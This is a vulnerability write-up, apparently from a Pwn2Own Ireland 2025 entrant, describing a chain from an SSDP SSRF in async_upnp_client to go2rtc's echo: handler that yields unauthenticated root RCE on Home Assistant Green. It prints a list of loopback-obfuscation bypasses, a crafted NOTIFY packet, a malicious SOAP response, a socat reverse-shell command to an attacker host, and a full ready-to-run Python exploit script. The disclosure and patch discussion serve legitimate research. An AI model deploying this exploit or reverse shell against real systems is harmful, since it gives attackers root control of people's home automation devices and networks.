go2shell: Rooting Home Assistant through SSDP

Introduction

Home Assistant is one of the most widely deployed open-source home automation platforms. The Home Assistant Green appliance ships Home Assistant Core running inside a Docker container on Home Assistant OS (HAOS), all wrapped in a small, low-power ARM box aimed at consumers who don’t want to run a full server. It sits on the LAN, talks to hundreds of integrations, and exposes its web UI on port 8123.

At Pwn2Own Ireland 2025 the Home Assistant Green was a competition target in the Smart Home category. The pre-auth attack surface has to be reachable from an unauthenticated LAN attacker. In the default configuration the interesting listeners are the web UI, the go2rtc camera streaming daemon bound to 127.0.0.1:11984, and SSDP/UPnP discovery on 239.255.255.250:1900/udp.

This post walks through the chain I entered: an SSDP LOCATION SSRF in async_upnp_client that turns a UDP multicast packet into an outbound HTTP GET from the Home Assistant process, pointed at go2rtc’s loopback REST API. From there, a permissive ONVIF stream handler in go2rtc pulls a Uri value from an attacker-controlled SOAP response, hands it to a scheme dispatcher, and the echo: scheme cheerfully passes the string to exec.Command(). The result is unauthenticated remote code execution from the LAN against the default configuration.

SSDP LOCATION SSRF via async_upnp_client

Home Assistant Core participates in UPnP discovery through the async_upnp_client library. It joins the SSDP multicast group 239.255.255.250:1900 and listens for NOTIFY announcements and M-SEARCH responses. When it sees a new advertisement it fetches the LOCATION header (the URL of the advertising device’s description document) over HTTP so it can parse the device XML and offer to configure a matching integration.

That fetch is the primitive we want to reach. If an attacker can convince Home Assistant to fetch an arbitrary URL, it becomes a server-side request forgery: the fetch runs from inside the Home Assistant process, on the loopback interface, with whatever localhost services are listening for it.

The SSDP listener validates each incoming LOCATION before it fetches it:

# https://github.com/StevenLooman/async_upnp_client/blob/0.45.0/async_upnp_client/ssdp_listener.py#L57-L62
@lru_cache(maxsize=128)
def is_valid_location(location: str) -> bool:
    """Validate if this location is usable."""
    return location.startswith("http") and not (
        "://127.0.0.1" in location or "://[::1]" in location or "://169.254" in location
    )

The intent is clear: block localhost and link-local URLs to prevent exactly the kind of SSRF we’re about to build. The implementation is a substring check on the raw string. Every trick in the SSRF cheat sheet for representing 127.0.0.1 in a way that resolves the same but doesn’t contain the substring 127.0.0.1 works here:

  • http://127.0.00.1/: an extra zero in the second octet
  • http://0177.0.0.1/: octal
  • http://0x7f.0.0.1/: hex
  • http://2130706433/: a single 32-bit integer
  • http://localhost/: the hostname
  • http://127.1/: the two-octet form

I used http://127.0.00.1:11984/. Python’s urllib and the httpx/aiohttp stack all parse the extra zero as an octet without complaint and connect straight to loopback.

Triggering the fetch requires no prior authentication or coordination. From any host on the LAN we send a single SSDP NOTIFY to the multicast group:

NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
NT: upnp:rootdevice
NTS: ssdp:alive
USN: uuid:12345678-1234-1234-1234-123456789abc::upnp:rootdevice
LOCATION: http://127.0.00.1:11984/?a=b
CACHE-CONTROL: max-age=1800
SERVER: Python/3.x UPnP/1.1

Home Assistant processes the NOTIFY, is_valid_location("http://127.0.00.1:11984/?a=b") returns True, and the SSDP listener issues an HTTP GET from inside the Core process to the URL we chose:

GET /?a=b HTTP/1.1
Host: 127.0.00.1:11984
User-Agent: HomeAssistant/2025.8.0 aiohttp/3.12.15 Python/3.13
Accept: */*
Accept-Encoding: gzip, deflate, br

The path and query string are attacker-controlled. The Host header still points at loopback. That is our first primitive: an unauthenticated LAN attacker can coerce the Home Assistant Core process into issuing an arbitrary HTTP GET against any service listening on 127.0.0.1, with a full path and query string of our choosing.

What that primitive is worth depends entirely on what listens on the loopback interface inside the Home Assistant container. All that remains is to find a service that turns an HTTP GET into something more useful than a fetch.

Chaining the SSRF into go2rtc

The most interesting service on the loopback interface is go2rtc, the streaming daemon Home Assistant bundles for camera and WebRTC support. It runs alongside Core in the same container and exposes a REST API on 127.0.0.1:11984. The API accepts stream configurations via a variety of src= URLs and dispatches them to per-scheme producers: RTSP, HTTP, ONVIF, and, most importantly for this chain, echo: and exec: handlers whose sole purpose is to shell out and use the process’s stdout as a stream source. As we’ll see, “as intended” is not the same as “safe when reachable from an SSRF”.

go2rtc’s /api/stream.mp4 endpoint is intended to serve a live fragmented MP4 for a named stream, but it accepts a src= parameter that lets a caller create a brand new stream on the fly. The handler pulls the query string off the request and hands it to GetOrPatch [1], which, when a name parameter is present [2], delegates to Patch [3]. Patch then checks that the src URL uses a scheme with a registered producer [4] and creates the stream [5]:

// https://github.com/AlexxIT/go2rtc/blob/v1.9.9/internal/mp4/mp4.go#L77-L146
func handlerMP4(w http.ResponseWriter, r *http.Request) {
    log.Trace().Msgf("[mp4] %s %+v", r.Method, r.Header)

    query := r.URL.Query()

    ua := r.UserAgent()
    ...

    stream := streams.GetOrPatch(query) // [1]
    ...
}

// https://github.com/AlexxIT/go2rtc/blob/v1.9.9/internal/streams/streams.go#L116-L137
func GetOrPatch(query url.Values) *Stream {
    // check if src param exists
    source := query.Get("src")

    ...

    // check if name param provided
    if name := query.Get("name"); name != "" { // [2]
        log.Info().Msgf("[streams] create new stream url=%s", source)

        return Patch(name, source) // [3]
    }
    ...
}

// https://github.com/AlexxIT/go2rtc/blob/v1.9.9/internal/streams/streams.go#L71-L114
func Patch(name string, source string) *Stream {
    ...

    // check if src has supported scheme
    if !HasProducer(source) { // [4]
        return nil
    }

    if Validate(source) != nil {
        return nil
    }

    ...

    // create new stream with this name
    stream := NewStream(source) // [5]
    streams[name] = stream
    return stream
}

Both name and src come straight from the attacker-controlled query string. The SSRF URL we pin to the SSDP LOCATION is therefore:

http://127.0.00.1:11984/api/stream.mp4?name=onvif&src=onvif://192.168.0.7:8000/onvif

When Home Assistant fetches this, NewStream [5] registers a stream named onvif sourced from an ONVIF endpoint on our attacker box. The onvif:// scheme is served by the producer function streamOnvif, whose first act [6] is a GetCapabilities SOAP request against the URL, followed by a GetProfiles [7] request. Both are answered with minimal but well-formed SOAP responses. The interesting third call is client.GetURI [8], which returns a URL to streamOnvif that is then dispatched to streams.GetProducer [9]:

// https://github.com/AlexxIT/go2rtc/blob/v1.9.9/internal/onvif/onvif.go#L35-L49
func streamOnvif(rawURL string) (core.Producer, error) {
    client, err := onvif.NewClient(rawURL) // [6] internally issues GetCapabilities
    if err != nil {
        return nil, err
    }
    // NewClient also probes profiles via GetProfiles [7]

    uri, err := client.GetURI() // [8]
    if err != nil {
        return nil, err
    }

    log.Debug().Msgf("[onvif] new uri=%s", uri)

    return streams.GetProducer(uri) // [9]
}

GetURI [8] is where the attacker gets to inject a URL. It issues a GetStreamUri SOAP call [10], extracts the <Uri> element out of the response body with FindTagValue [11], and passes it through url.Parse [12] before returning it:

// https://github.com/AlexxIT/go2rtc/blob/v1.9.9/pkg/onvif/client.go#L51-L91
func (c *Client) GetURI() (string, error) {
    query := c.url.Query()

    ...

    getUri := c.GetStreamUri
    ...
    log.Debug().Msgf("[onvif] Running inner getUri")
    b, err := getUri(token) // [10] GetStreamUri
    if err != nil {
        return "", err
    }

    rawURL := FindTagValue(b, "Uri") // [11]
    rawURL = strings.TrimSpace(html.UnescapeString(rawURL))

    u, err := url.Parse(rawURL) // [12]
    ...
    return u.String(), nil
}

Whatever the attacker’s SOAP server puts in the <Uri> element of the GetStreamUri [10] response therefore comes back out of GetURI [8] and reaches GetProducer [9] as if it were a fresh stream source. There is no scheme allow-list at this point. Anything with a registered producer will match.

Our SOAP response therefore returns an echo: URL:

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:trt="http://www.onvif.org/ver10/media/wsdl">
    <SOAP-ENV:Body>
        <trt:GetStreamUriResponse>
            <trt:MediaUri><Uri>echo:touch /tmp/hello-world</Uri></trt:MediaUri>
        </trt:GetStreamUriResponse>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

GetProducer [9] looks up the URL’s scheme in a redirects table [13] and, on a hit, invokes the registered redirect function [14]. The echo redirect was registered at startup by Init [15] and its body slices off the five-character echo: prefix, splits the rest as shell arguments with shell.QuoteSplit [16], and runs exec.Command [17]:

// https://github.com/AlexxIT/go2rtc/blob/v1.9.9/internal/streams/handlers.go#L34-L51
func GetProducer(url string) (core.Producer, error) {
    if i := strings.IndexByte(url, ':'); i > 0 {
        scheme := url[:i]

        if redirect, ok := redirects[scheme]; ok { // [13] scheme lookup in redirects table
            location, err := redirect(url) // [14] invoke registered redirect
            if err != nil {
                return nil, err
            }
            if location != "" {
                return GetProducer(location)
            }
        }

        if handler, ok := handlers[scheme]; ok {
            return handler(url)
        }
    }

    return nil, errors.New("streams: unsupported scheme: " + url)
}

// https://github.com/AlexxIT/go2rtc/blob/v1.9.9/internal/echo/echo.go#L12-L29
func Init() {
    log := app.GetLogger("echo")

    streams.RedirectFunc("echo", func(url string) (string, error) { // [15] registers "echo"
        args := shell.QuoteSplit(url[5:]) // [16] strip "echo:" prefix and tokenize
        log.Debug().Msgf("[echo] %s", url[5:])
        log.Debug().Interface("args", args).Msg("[echo] command arguments")

        b, err := exec.Command(args[0], args[1:]...).Output() // [17]
        if err != nil {
            return "", err
        }

        b = bytes.TrimSpace(b)

        log.Debug().Str("url", url).Msgf("[echo] %s", b)

        return string(b), nil
    })
}

Because go2rtc runs in the same container as Home Assistant Core (a privileged, host-networked container running as uid 0 with no sandbox), the command that exec.Command [17] runs executes as root on the host from the attacker’s point of view.

Poppin’ a shell

Chaining the two vulnerabilities together gives an unauthenticated, LAN-only pre-auth RCE against a default Home Assistant Green install. End-to-end, the chain looks like this:

The payload command I used at the contest was a socat reverse shell:

socat tcp-connect:<ATTACKER>:31337 exec:/bin/bash,pty,stderr,setsid,sigint,sane

First, start your netcat reverse shell listener:

nc -lvnp 31337

Then, execute the Python script exploit:

python3 go2shell.py -l <ATTACKER> -r <TARGET>
#!/usr/bin/env python3
import http.server
import threading
import argparse
import socket
import random
import time
import uuid

LHOST = None
LPORT = None
ONVIF_PORT = None
COMMAND = None
COMMAND_RUN = False

def run_ssdp_notify(url):
    # SSDP multicast address and port
    # SSDP_ADDR = "239.255.255.250"
    SSDP_ADDR = RHOST
    SSDP_PORT = 1900

    # SSDP NOTIFY message
    ssdp_notify = (
        "NOTIFY * HTTP/1.1\r\n"
        f"HOST: {SSDP_ADDR}:{SSDP_PORT}\r\n"
        "NT: upnp:rootdevice\r\n"
        "NTS: ssdp:alive\r\n"
        f"USN: uuid:{str(uuid.uuid4())}::upnp:rootdevice\r\n"
        f"LOCATION: {url}\r\n"
        "CACHE-CONTROL: max-age=1800\r\n"
        "SERVER: Python/3.x UPnP/1.1 Pwn/1.0\r\n"
        "\r\n"
    )

    # Create UDP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)

    # Send SSDP NOTIFY packet
    while not COMMAND_RUN:
        sock.sendto(ssdp_notify.encode(), (SSDP_ADDR, SSDP_PORT))
        print("SSDP NOTIFY sent")
        time.sleep(1)

    sock.close()

class OnvifHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'Unhandled GET request: {self.path}')
        self.send_response(200)

    def do_POST(self):
        global COMMAND_RUN

        # Read the POST data
        data = self.rfile.read(int(self.headers['Content-Length'])).decode()

        # Handle GetCapabilities request
        if "<tds:GetCapabilities" in data:
            print(f'> {self.path} -> GetCapabilities')
            return self.sendCapabilities()
        
        # Handle GetProfiles request
        if "<trt:GetProfiles" in data:
            print(f'> {self.path} -> GetProfiles')
            return self.sendProfiles()

        # Handle GetStreamUri request
        if "<trt:GetStreamUri" in data:
            COMMAND_RUN = True
            print(f'> {self.path} > GetStreamUri')
            return self.sendStreamUri()
        
        # Unhandled POST data
        print(f"Unhandled POST {self.path}: {data}")

    def send_xml_response(self, data, code=200):
        self.send_response(code)
        self.send_header('Content-type', 'application/soap+xml')
        self.end_headers()

        self.wfile.write(data)

    def sendCapabilities(self):
        xml = b'<?xml version="1.0" encoding="UTF-8"?>\n'
        xml += b'<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:tds="http://www.onvif.org/ver10/device/wsdl" xmlns:tt="http://www.onvif.org/ver10/schema">'
        xml += b'<SOAP-ENV:Body>'
        xml += b'<tds:GetCapabilitiesResponse>'
        xml += b'<tds:Capabilities>'
        xml += b'<tt:Device>'
        xml += f'<tt:XAddr>http://{LHOST}:{ONVIF_PORT}/onvif/device</tt:XAddr>'.encode()
        xml += b'</tt:Device>'
        xml += b'<tt:Media>'
        xml += f'<tt:XAddr>http://{LHOST}:{ONVIF_PORT}/onvif/media</tt:XAddr>'.encode()
        xml += b'</tt:Media>'
        xml += b'</tds:Capabilities>'
        xml += b'</tds:GetCapabilitiesResponse>'
        xml += b'</SOAP-ENV:Body>'
        xml += b'</SOAP-ENV:Envelope>'
        self.send_xml_response(xml)

    def sendProfiles(self):
        xml = b'<?xml version="1.0" encoding="UTF-8"?>\n'
        xml += b'<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:trt="http://www.onvif.org/ver10/media/wsdl">'
        xml += b'<SOAP-ENV:Body>'
        xml += b'<trt:GetProfilesResponse>'
        xml += b'<trt:Profiles token="1">'
        xml += b'</trt:Profiles>'
        xml += b'</trt:GetProfilesResponse>'
        xml += b'</SOAP-ENV:Body>'
        xml += b'</SOAP-ENV:Envelope>'
        self.send_xml_response(xml)

    def sendStreamUri(self):
        print(f'Sending stream URI with command: {COMMAND}')
        xml = b'<?xml version="1.0" encoding="UTF-8"?>\n'
        xml += b'<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:trt="http://www.onvif.org/ver10/media/wsdl">'
        xml += b'<SOAP-ENV:Body>'
        xml += b'<trt:GetStreamUriResponse>'
        xml += f'<trt:MediaUri><Uri>echo:{COMMAND}</Uri></trt:MediaUri>'.encode()
        xml += b'</trt:GetStreamUriResponse>'
        xml += b'</SOAP-ENV:Body>'
        xml += b'</SOAP-ENV:Envelope>'
        self.send_xml_response(xml)

def run_onvif(port):
    server = ('', port)
    httpd = http.server.HTTPServer(server, OnvifHandler)
    print(f"ONVIF server running on port {port}")
    httpd.serve_forever()

def main(args):
    global LHOST, LPORT, ONVIF_PORT, COMMAND, COMMAND_RUN, RHOST
    RHOST = args.rhost
    LHOST = args.lhost
    LPORT = args.lport
    ONVIF_PORT = args.onvif_port
    COMMAND = f'socat tcp-connect:{LHOST}:{LPORT} exec:/bin/bash,pty,stderr,setsid,sigint,sane'
    COMMAND_RUN = False

    uniqName = f'onvif-{str(random.randint(0, 999999))}'
    url = f'http://127.0.00.1:11984/api/stream.mp4?name={uniqName}&src=onvif://{LHOST}:{ONVIF_PORT}/onvif'
    print(f'SSRF URL: {url}')

    # Start the ONVIF server
    onvifThread = threading.Thread(target=run_onvif, args=(ONVIF_PORT, ))
    onvifThread.start()

    # Wait for the ONVIF server to start
    time.sleep(1)

    # Start the SSDP notify thread
    ssdpThread = threading.Thread(target=run_ssdp_notify, args=(url, ))
    ssdpThread.start()

    # Wait for the threads to finish
    onvifThread.join()
    ssdpThread.join()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit Home Assistant via go2rtc.")
    parser.add_argument('-r', '--rhost', required=True, help='Target host IP address')
    parser.add_argument('-l', '--lhost', required=True, help='Local host IP address')
    parser.add_argument('-p', '--lport', type=int, default=31337, help='The local reverse shell port')
    parser.add_argument('-o', '--onvif-port', type=int, default=8000, help='ONVIF server port')
    args = parser.parse_args()
    main(args)

Patches

Vulnerability 1: SSDP LOCATION SSRF

The is_valid_location bypass was tracked in async_upnp_client and fixed in two waves:

  • v0.46.0 (2025-11-14) Added additional localhost strings, including the specific 127.0.00.1 form used in this exploit, to the substring blocklist. This closes the exact primitive shown here, but leaves the door open to other equivalent representations of loopback that a simple substring check can never enumerate.
  • v0.47.1 (2026-07-20) Replaced the substring check with a proper URL parse followed by IP address parsing (ipaddress.ip_address) against is_loopback, is_link_local, is_private, and friends. Octal, hex, integer, IPv4-mapped IPv6, percent-encoding, and credential-based obfuscations are all rejected together at the parser level, which is where this check belonged from the start.

Vulnerability 2: go2rtc unauthenticated stream creation leading to command execution

go2rtc’s v1.9.12 release introduced a set of hardening measures aimed squarely at this class of chain:

  • An allow_paths allow-list for the echo, exec, and api modules so operators can restrict which binaries or endpoints are exposed.
  • ONVIF source URI validation, so the <Uri> returned by a downstream ONVIF server is no longer trusted to name any scheme it likes. The returned scheme is filtered against a much smaller set of legitimate stream schemes.
  • A local_auth option for the REST API, gated so that even loopback callers need a token if the operator opts in.
  • Reworked “insecure sources” logic that centralises the decision about which producers can be created dynamically.

Home Assistant, downstream of go2rtc, also tightened how it launches the daemon and which options it enables; the combination of the two fixes takes the chain out of reach on the current release trains.

Conclusion

Home Assistant Green went up on day one of Pwn2Own Ireland 2025. The order of attempts is a random draw, and this year the draw put Stephen Fewer (@stephenfewer) in the first slot. He landed a three-bug chain that ZDI described as “an SSRF and a command injection”, and walked away with the full first-blood prize: $40,000 and 4 Master of Pwn points. Wait, did they say “an SSRF and a command injection”? At that point I knew my fate.

I went up second with the go2shell chain you’ve just read: four bugs, one unique SSRF, and three that collided with Stephen’s. On a collision the payout drops sharply, and mine landed at $12,500 and 2.5 Master of Pwn points for the same working exploit, on the same target, on the same day, minutes apart.

That’s how first-blood works at Pwn2Own. It’s brutal on the second team through the door, but it’s also, in its own way, a compliment: two independent researchers converged on the same laundering path through the same well-behaved components. The primitives were sitting there in the shipping code, and they deserved to be found together.